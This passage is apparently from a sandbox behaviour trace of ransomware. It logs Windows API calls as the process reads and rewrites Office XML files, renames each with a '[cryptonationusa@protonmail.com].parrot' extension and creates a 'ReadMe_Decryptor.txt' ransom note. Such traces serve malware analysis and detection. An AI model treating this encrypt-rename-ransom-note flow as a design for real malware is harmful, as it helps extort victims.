lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x38d3a, lpOverlapped=0x0) returned 1 [0200.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0200.208] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0200.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.235] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.237] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.238] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8cda, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8cda, lpOverlapped=0x0) returned 1 [0200.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0200.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0200.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0200.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0200.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0200.243] GetLastError () returned 0x0 [0200.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0200.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0200.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0200.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0200.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0200.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0200.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0200.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22de080 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0200.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0200.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0200.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0200.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0200.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c44e0 [0200.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0200.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c7478 [0200.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c44e0 | out: hHeap=0x5b0000) returned 1 [0200.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31ac460 [0200.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c7478 | out: hHeap=0x5b0000) returned 1 [0200.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31d64b0 [0200.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0200.250] WriteFile (in: hFile=0x27c, lpBuffer=0x31d64c0*, nNumberOfBytesToWrite=0x8df8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31d64c0*, lpNumberOfBytesWritten=0x18eed4*=0x8df8, lpOverlapped=0x0) returned 1 [0200.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.254] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8df2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0200.254] CloseHandle (hObject=0x27c) returned 1 [0200.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0200.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31aa260 [0200.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0200.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0200.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0200.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0200.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0200.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0200.259] GetFileType (hFile=0x27c) returned 0x1 [0200.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0200.273] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.273] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.275] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.276] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xab732, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xab732, lpOverlapped=0x0) returned 1 [0200.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0200.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0200.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0200.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0200.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0200.282] GetLastError () returned 0x0 [0200.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0200.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0200.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0200.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0200.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22de080 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0200.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0200.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0200.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0200.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0200.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0200.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x319e458 [0200.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0200.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31a13f0 [0200.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e458 | out: hHeap=0x5b0000) returned 1 [0200.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31ac460 [0200.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a13f0 | out: hHeap=0x5b0000) returned 1 [0200.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31b2f40 [0200.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0200.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31bcf70 [0200.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b2f40 | out: hHeap=0x5b0000) returned 1 [0200.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x31d64b0 [0200.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31bcf70 | out: hHeap=0x5b0000) returned 1 [0200.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x31ecce8 [0200.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x320e928 [0200.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ecce8 | out: hHeap=0x5b0000) returned 1 [0200.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x3241370 [0200.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x320e928 | out: hHeap=0x5b0000) returned 1 [0200.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x328d2c0 [0200.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3241370 | out: hHeap=0x5b0000) returned 1 [0200.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaae2c) returned 0x2b30020 [0200.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0200.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0200.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0200.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0200.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0200.411] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.411] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.413] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.413] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13d8, lpOverlapped=0x0) returned 1 [0200.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0200.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0200.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0200.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0200.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0200.414] GetLastError () returned 0x0 [0200.421] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0200.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0200.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0200.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0200.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0200.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0200.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0200.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0200.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap 